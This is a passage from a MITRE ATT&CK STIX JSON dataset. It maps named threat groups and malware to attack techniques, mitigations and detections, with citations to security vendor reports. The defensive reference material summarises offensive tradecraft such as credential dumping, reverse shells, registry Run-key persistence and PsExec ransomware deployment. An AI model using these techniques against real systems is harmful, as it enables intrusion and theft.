2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:09:02.208Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used keyloggers.(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f395cb28-5bc0-487e-b679-155ac785b7d9","created":"2019-09-23T23:08:25.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:46:00.718Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via [PowerSploit](https://attack.mitre.org/software/S0194).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) [APT41](https://attack.mitre.org/groups/G0096) has executed files through Windows Management Instrumentation (WMI).(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f39a04e8-f4cf-482f-8d1a-7def044a03a0","type":"relationship","created":"2022-02-01T14:23:04.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-03T23:45:53.723Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used net use to identify and establish a network connection with a remote host.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f39d0966-e4d4-4d6e-813d-012a0674e466","type":"relationship","created":"2020-02-21T20:46:36.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-19T13:37:31.212Z","description":"Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with logging.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"},{"source_name":"Talos Seduploader Oct 2017","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."}],"modified":"2020-03-20T16:40:41.191Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) can retrieve an additional payload from its C2 server.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018) [JHUHUGIT](https://attack.mitre.org/software/S0044) has a command to download files to the victim’s machine.(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3a6ce37-9b55-481f-9dc2-8de69f77a674","type":"relationship","created":"2021-03-12T16:30:52.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-15T20:30:30.159Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has impersonated systems management software to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3ac1fad-7d60-48a3-8cb0-6b778987d333","created":"2024-06-17T18:41:27.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:52:21.160Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has used JavaScript to redirect victim traffic from an adversary controlled server to a server hosting the Evilginx phishing framework.(Citation: StarBlizzard) ","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3afa419-b741-4a1c-bb4d-569cde6ab558","type":"relationship","created":"2020-08-24T14:07:40.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T14:07:40.526Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can check for the presence of ESET and Kaspersky security software.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3b14839-81b5-436f-87b0-f5b8bd10c07c","created":"2022-06-13T17:37:34.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T17:39:49.967Z","description":"[Shark](https://attack.mitre.org/software/S1019) has stored information in folders named `U1` and `U2` prior to exfiltration.(Citation: ClearSky Siamesekitten August 2021)","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3b19f07-d8a9-4aca-a649-039024997a4f","created":"2019-04-22T16:30:47.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter ItsReallyNick Platinum Masquerade","description":"Carr, N.. (2018, October 25). Nick Carr Status Update. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/1055321868641689600"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:31:14.944Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has renamed rar.exe to avoid detection.(Citation: Twitter ItsReallyNick Platinum Masquerade)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3b210e4-9784-4305-8cad-6bdb4d44250f","created":"2020-11-10T16:49:11.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk in 5 Hours October 2020","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T18:31:04.575Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used `services.exe` to execute scripts and executables during lateral movement within a victim's network. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used batch scripts that leverage [PsExec](https://attack.mitre.org/software/S0029) to execute a previously transferred ransomware payload on a victim's network.(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3b4fdd4-24fa-48ed-8ffb-f80ad651c797","type":"relationship","created":"2020-01-24T14:43:54.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:50:08.362Z","description":"Restrict execution of Msiexec.exe to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3b71f03-f6d5-4ae2-a8e8-a6263550e5a5","type":"relationship","created":"2022-03-17T15:48:24.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}],"modified":"2022-03-17T15:48:24.679Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use DNS over HTTPS (DoH) to resolve C2 nodes.(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3b7dbe2-1dd5-4d57-a5ef-1764775d5c99","type":"relationship","created":"2020-08-25T20:11:53.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-25T20:11:53.155Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can download files to a compromised host.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3b8a97f-4e9c-4190-be08-467d136fc943","type":"relationship","created":"2020-03-20T23:11:09.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-20T23:11:09.649Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) encrypts C2 communications with TLS.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-20T02:12:29.707Z","description":"[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of creating a reverse shell.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3bfd1b7-84df-4832-87f1-12a5413eb008","created":"2024-04-12T10:41:53.369Z","revoked":false,"external_references":[{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T10:41:53.369Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) can take screenshots of the victim machine.(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3c0c3c1-e7a9-46ae-94cf-e128120a7c5f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2019-06-24T19:05:41.604Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can perform webcam viewing.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3c37734-1f69-44ee-9e27-480ba68c79f4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2020-03-28T21:43:37.533Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) launches a scheduled task.(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3cc3739-9dea-41c9-ac82-038b9c92bdb0","created":"2020-11-10T16:04:00.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T16:24:58.844Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has established persistence via the Registry key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run and a shortcut within the startup folder.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3cfe768-d5d7-4b25-8265-1b2a6a7462a7","created":"2024-08-05T18:28:16.253Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T18:28:16.253Z","description":"Monitor for any attempts to enable scripts running on a system that would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f3d0ffd9-5bda-46fd-ba44-ef1b1def9506","created":"2021-01-04T20:42:22.249Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) decrypts code to connect to a remote C2 server.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3d2f8a8-da3a-4635-90e5-95f6fee86a9c","created":"2022-01-10T19:52:49.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.935Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has collected the username from a victim machine.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3d30d20-ee51-4976-8611-5667df771567","type":"relationship","created":"2020-03-19T23:03:33.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:15.488Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3d7d38c-a162-4437-949e-c0904c2dc792","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor newly executed processes that may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3e4b47e-cde3-4f27-85b7-464b02325ee6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.930Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) gathers information about the OS architecture, OS name, and OS version/Service pack.(Citation: Lazarus RATANKBA)(Citation: 